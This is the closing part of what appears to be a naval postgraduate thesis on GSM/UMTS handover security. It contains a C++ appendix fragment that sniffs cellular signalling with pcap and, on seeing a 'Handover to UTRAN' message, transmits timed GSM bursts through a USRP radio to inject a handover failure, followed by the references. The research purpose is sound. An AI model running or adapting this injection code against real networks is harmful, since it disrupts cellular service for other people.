  signalVector* modBurst = modulateBurst(TDMA_burst[0], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst, oneScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  delete modBurst; 
} 
else if(i==7){ // Amplified Dummy Burst (Timeslot 7, TDMA Frame [0–3]) 
  signalVector* modBurst = modulateBurst(TDMA_burst[0], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
  scaleVector(*modBurst, oneScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  delete modBurst; 
}  
else{ // Un-Amplified Dummy Burst (Timeslot [2–6], TDMA Frame [0–3]) 
  signalVector* modBurst = modulateBurst(TDMA_burst[0], *gsmPulse, 
                              8 + (i % 4 == 0), samplesPerSymbol); 
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  scaleVector(*modBurst, zeroScaleInputValue); 
  fillerTable[j][i] = new signalVector(*modBurst); 
  delete modBurst; 
} 
} // end inner for loop 
} // end outer for loop 
 
  md.start_of_burst = false; 
  md.end_of_burst = false; 
  md.has_time_spec = false; 
 
  for(;;){ 
    std::string str; 
    packet = pcap_next(handle, &header); 
    if(packet == NULL){ 
      continue; 
    } 
    for(int i = 0; i<header.len; i++) { 
      const char ch = packet[i]; 
      str.append(&hex[(ch & 0xF0) >> 4], 1); 
      str.append(&hex[(ch & 0xF)], 1); 
    } 
    std::string gsm_message; 
    gsm_message.append(str.begin()+122,str.begin()+126); 
 
    if(gsm_message == gsm_test_message){ 
      std::cout << “Recieved Handover to UTRAN Message” << std::endl; 
      break; 
    } 
  } 
 
// Set initial usrp time 
  usrp->set_time_now(uhd::time_spec_t(0.0)); 
 
/********************************************************************/ 
/* Set a wait time between receiving handover to UTRAN message      */ 
/* and sending handover failure message so bursts arrive in correct */ 
/* timeslot of SDCCH.                                               */ 
/********************************************************************/ 
  boost::this_thread::sleep( boost::posix_time::milliseconds(38) ); 
 
  for(int j=0; j<4; j++){ 
    for(int i=0; i<8; i++){ 
      signalVector* currentBurst = fillerTable[j][i]; 
      tx_vec = concat(tx_vec, currentBurst); 
      num_chunks = tx_vec->size() / 585; 
 
      if (num_chunks < 1){ 
        //std::cout << “need more samples” << std::endl; 
      } 
 
      else { 
// Re-sampler needs four GSM bursts before resampling process can start 
        resamp_vec = resmpl_sigvec(tx_hist, &tx_vec, tx_lpf, 96, 65,  
                                    585); 
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// Conversion of re-sampled vector from float to short 
        num_resmpl = sigvec_to_short(resamp_vec, smpls_out); 
 
// Send re-sampled burst of type short to USRP 
        size_t num_tx_samps = tx_stream->send(smpls_out + 192 * 2, 
                                            num_resmpl - 192 , md, 
                                uhd::device::SEND_MODE_FULL_BUFF); 
      } // end else 
    } // end inner for 
  } // end outer for 
 
/*********************************************************************/ 
/*Delete Vectors, Destroy Signal Processing Library, and Cleanup PCAP*/ 
/*********************************************************************/ 
  pcap_freecode(&fp); 
  pcap_close(handle); 
  delete tx_hist; 
  delete tx_lpf; 
  delete tx_vec; 
  delete gsmPulse; 
  sigProcLibDestroy(); 
 
  std::cout << “TRANSMIT SUCCESS” << std::endl; 
 
  return EXIT_SUCCESS; 
} // end main loop



 116

THIS PAGE INTENTIONALLY LEFT BLANK  

 



 117

LIST OF REFERENCES 

[1] D. Burgess, H. Samra, R. Sevlian, A. Levy, and P. Thompson. (2013). OpenBTS 
public release [Online software]. Available: 
http://wush.net/svn/range/software/public 

 
[2] P. Krysik. (2013). Airprobe [Online software]. Available: 

https://svn.berlin.ccc.de/projects/airprobe 
 
[3] E. Blossom, M. Ettus, T. Rondeau, and J. Blum. (2013). GNURadio [Online 

software]. Available: http://www.gnuradio.org 
 
[4] E. Southern, A. Ouda, and A. Shami, “Solutions to security issues with legacy 

integration of GSM into UMTS,” International Conference for Internet 
Technology and Secured Transactions, pp. 614–619, Dec. 11–14, 2011. 

 
[5] U. Meyer and S. Wetzel, “On the impact of GSM encryption and man-in-the-

middle attacks on the security of interoperating GSM/UMTS networks,” 
International Symposium on Personal, Indoor and Mobile Radio 
Communications, vol. 4, pp. 2876–2883, Sept. 5–8, 2004. 

 
[6] P. Ekdahl and T. Johansson, “Another attack on A5/1,” IEEE Trans. Information 

Theory, vol. 49, no. 1, pp. 284–289, Jan. 2003. 
 
[7] 3rd Generation Partnership Project Radio Resource Control Protocol Technical 

Specification, 3GPP TS 44.018 (Release 11), 2012. 
 
[8] 3rd Generation Partnership Project Mobile Radio Interface Layer 3 Technical 

Specification, 3GPP TS 44.118 (Release 11), 2012. 
 
[9] 3rd Generation Partnership Project Mobile Radio Interface Layer 3 Technical 

Specification, 3GPP TS 04.18 (Release 99), 2006. 
 
[10] 3rd Generation Partnership Project Modulation Technical Specification, 3GPP 

TS 05.04 (Release 99), 2001. 
 
[11] 3rd Generation Partnership Project Multiplexing and Multiple Access on the 

Radio Path Technical Specification, 3GPP TS 05.02 (Release 99), 2003. 
 
[12] 3rd Generation Partnership Project Channel Coding Technical Specification, 

3GPP TS 05.03 (Release 99), 2005. 
 
[13] 3rd Generation Partnership Project Data Link Layer Technical Specification, 

3GPP TS 44.006 (Release 11), 2012. 



 118

 
[14] L. Perkov, A. Klisura, and N. Pavkovic, “Recent advances in GSM insecurities,” 

Proceedings of the 34th International Convention, pp. 1502–1506, May 23–27, 
2011. 

 
[15] I. Briceno, M. Goldberg, and D. Wagner, (2013, Oct.). A pedagogical 

implementation of A5/1 [Online]. Available: http://www.scard.org/gsm/a51.html 
 
[16] 3rd Generation Partnership Project UTRAN Functions and Examples on 

Signaling Procedures Technical Report, 3GPP TR 25.931: (Release 11), 2012. 
 
[17] G. Alsenmyr, J. Bergstrom, M. Hagberg, A. Milen, W. Muller, H. Palm, H. 

Velde, P. Wallentin, and F. Wallgren, “Handover between WCDMA and GSM,” 
Ericsson Review, vol. 80, no. 1, pp. 6–11, 2003. 

 
[18] A. Mohammed, H. Kamal, and S. AbdelWahab, “2G/3G Inter-RAT Handover 

Performance Analysis,” Second European Conference on Antennas and 
Propagation, pp. 1, 8, 11–16, Nov. 2007. 

 
[19] J. Eberspächer, H. Vögel, C. Bettstetter, and C. Hartmann, GSM Architecture, 

Protocols and Services, 3rd ed. West Sussex, United Kingdom: John Wiley & 
Sons Ltd, 2009. 

 
[20] S. K. Das, Mobile Handset Design, Singapore: John Wiley & Sons (Asia) Pte Ltd, 

2010. 
 
[21] Ettus Research. (2013, Oct.). USRP N200/N210 networked series specifications 

[Online]. Available: http//www.ettus.com 
 
[22] D. Shen. (2013). Tutorial 4: The USRP board [Online]. Available: 

http://radioware.nd.edu/documentation/hardware/the-usrp-board 
 
[23] National Instruments. (2013, Mar.). An Introduction to software defined radio 

with NI LabVIEW and NI USRP [Online]. Available: 
ftp://ftp.ni.com/pub/events/campus_workshop/niusrp_hands_on_student_manual.
pdf 

 
[24] T. Engel. (2013). Xgoldmon [Online software]. Available:    

https://github.com/2b-as/xgoldmon 
 



 119

INITIAL DISTRIBUTION LIST 

1. Defense Technical Information Center 
 Ft. Belvoir, Virginia 
 
2. Dudley Knox Library 
 Naval Postgraduate School 
 Monterey, California 
 
 


